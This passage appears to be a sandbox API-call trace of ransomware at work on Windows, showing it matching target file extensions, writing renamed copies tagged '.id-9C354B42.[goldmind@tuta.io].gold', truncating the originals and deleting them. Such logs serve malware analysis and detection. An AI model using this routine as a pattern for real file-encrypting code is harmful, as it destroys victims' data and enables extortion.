Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.829] lstrlenW (lpString=".doc") returned 4 [0034.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.829] lstrlenW (lpString=".docx") returned 5 [0034.829] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.829] lstrlenW (lpString=".pdf") returned 4 [0034.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.829] lstrlenW (lpString=".xls") returned 4 [0034.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.829] lstrlenW (lpString=".xlsx") returned 5 [0034.829] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.829] lstrlenW (lpString=".ppt") returned 4 [0034.829] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.829] lstrlenW (lpString=".zip") returned 4 [0034.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.829] lstrlenW (lpString=".rar") returned 4 [0034.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.829] lstrlenW (lpString=".bz2") returned 4 [0034.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.829] lstrlenW (lpString=".7z") returned 3 [0034.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".dbf") returned 4 [0034.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".1cd") returned 4 [0034.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".jpg") returned 4 [0034.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".doc") returned 4 [0034.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString=".docx") returned 5 [0034.830] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.830] lstrlenW (lpString=".pdf") returned 4 [0034.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString=".xls") returned 4 [0034.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString=".xlsx") returned 5 [0034.830] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.830] lstrlenW (lpString=".ppt") returned 4 [0034.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".zip") returned 4 [0034.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.830] lstrlenW (lpString=".rar") returned 4 [0034.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString=".bz2") returned 4 [0034.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString=".7z") returned 3 [0034.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".dbf") returned 4 [0034.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".1cd") returned 4 [0034.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.830] lstrlenW (lpString=".jpg") returned 4 [0034.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.830] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.830] lstrlenW (lpString="VisioMUI.xml") returned 12 [0034.831] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.877] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=9503) returned 1 [0034.878] CloseHandle (hObject=0x1a0) returned 1 [0034.878] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0034.878] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.878] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.878] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.878] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.878] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.878] GetLastError () returned 0x0 [0034.878] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x251f, lpOverlapped=0x0) returned 1 [0034.880] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0034.880] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.880] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.880] SetEndOfFile (hFile=0x17c) returned 1 [0034.881] CloseHandle (hObject=0x17c) returned 1 [0034.881] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.881] SetEndOfFile (hFile=0x1a0) returned 1 [0034.882] CloseHandle (hObject=0x1a0) returned 1 [0034.882] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.882] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString=".doc") returned 4 [0034.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".docx") returned 5 [0034.883] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.883] lstrlenW (lpString=".pdf") returned 4 [0034.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".xls") returned 4 [0034.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".xlsx") returned 5 [0034.883] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.883] lstrlenW (lpString=".ppt") returned 4 [0034.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString=".zip") returned 4 [0034.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.883] lstrlenW (lpString=".rar") returned 4 [0034.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".bz2") returned 4 [0034.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".7z") returned 3 [0034.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString=".dbf") returned 4 [0034.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString=".1cd") returned 4 [0034.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString=".jpg") returned 4 [0034.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.883] lstrlenW (lpString=".doc") returned 4 [0034.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".docx") returned 5 [0034.883] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.883] lstrlenW (lpString=".pdf") returned 4 [0034.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.883] lstrlenW (lpString=".xls") returned 4 [0034.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.884] lstrlenW (lpString=".xlsx") returned 5 [0034.884] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.884] lstrlenW (lpString=".ppt") returned 4 [0034.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.884] lstrlenW (lpString=".zip") returned 4 [0034.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.884] lstrlenW (lpString=".rar") returned 4 [0034.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.884] lstrlenW (lpString=".bz2") returned 4 [0034.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.884] lstrlenW (lpString=".7z") returned 3 [0034.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.884] lstrlenW (lpString=".dbf") returned 4 [0034.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.884] lstrlenW (lpString=".1cd") returned 4 [0034.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.884] lstrlenW (lpString=".jpg") returned 4 [0034.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.884] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.884] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0034.884] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.885] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1452) returned 1 [0034.885] CloseHandle (hObject=0x1a0) returned 1 [0034.885] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0034.885] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.886] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.886] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.886] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.886] GetLastError () returned 0x0 [0034.886] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0034.887] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.888] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.888] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.888] SetEndOfFile (hFile=0x17c) returned 1 [0034.888] CloseHandle (hObject=0x17c) returned 1 [0034.888] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.888] SetEndOfFile (hFile=0x1a0) returned 1 [0034.889] CloseHandle (hObject=0x1a0) returned 1 [0034.889] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.889] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString=".doc") returned 4 [0034.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString=".docx") returned 5 [0034.890] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.890] lstrlenW (lpString=".pdf") returned 4 [0034.890] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString=".xls") returned 4 [0034.890] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString=".xlsx") returned 5 [0034.890] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.890] lstrlenW (lpString=".ppt") returned 4 [0034.890] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString=".zip") returned 4 [0034.890] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.890] lstrlenW (lpString=".rar") returned 4 [0034.890] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString=".bz2") returned 4 [0034.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString=".7z") returned 3 [0034.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString=".dbf") returned 4 [0034.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString=".1cd") returned 4 [0034.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString=".jpg") returned 4 [0034.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.890] lstrlenW (lpString=".doc") returned 4 [0034.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString=".docx") returned 5 [0034.890] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.891] lstrlenW (lpString=".pdf") returned 4 [0034.891] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString=".xls") returned 4 [0034.891] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString=".xlsx") returned 5 [0034.891] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.891] lstrlenW (lpString=".ppt") returned 4 [0034.891] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.891] lstrlenW (lpString=".zip") returned 4 [0034.891] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.891] lstrlenW (lpString=".rar") returned 4 [0034.891] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString=".bz2") returned 4 [0034.891] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString=".7z") returned 3 [0034.891] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.891] lstrlenW (lpString=".dbf") returned 4 [0034.891] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.891] lstrlenW (lpString=".1cd") returned 4 [0034.891] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.891] lstrlenW (lpString=".jpg") returned 4 [0034.891] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.891] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.891] lstrlenW (lpString="Setup.xml") returned 9 [0034.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.891] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1872) returned 1 [0034.891] CloseHandle (hObject=0x1a0) returned 1 [0034.891] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.892] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.892] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.892] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.892] GetLastError () returned 0x0 [0034.892] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x750, lpOverlapped=0x0) returned 1 [0034.893] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x760, lpOverlapped=0x0) returned 1 [0034.894] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.894] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.894] SetEndOfFile (hFile=0x17c) returned 1 [0034.894] CloseHandle (hObject=0x17c) returned 1 [0034.895] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.895] SetEndOfFile (hFile=0x1a0) returned 1 [0034.895] CloseHandle (hObject=0x1a0) returned 1 [0034.895] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.896] DeleteFileW (lpFileName="C:\\MSOCache\\All 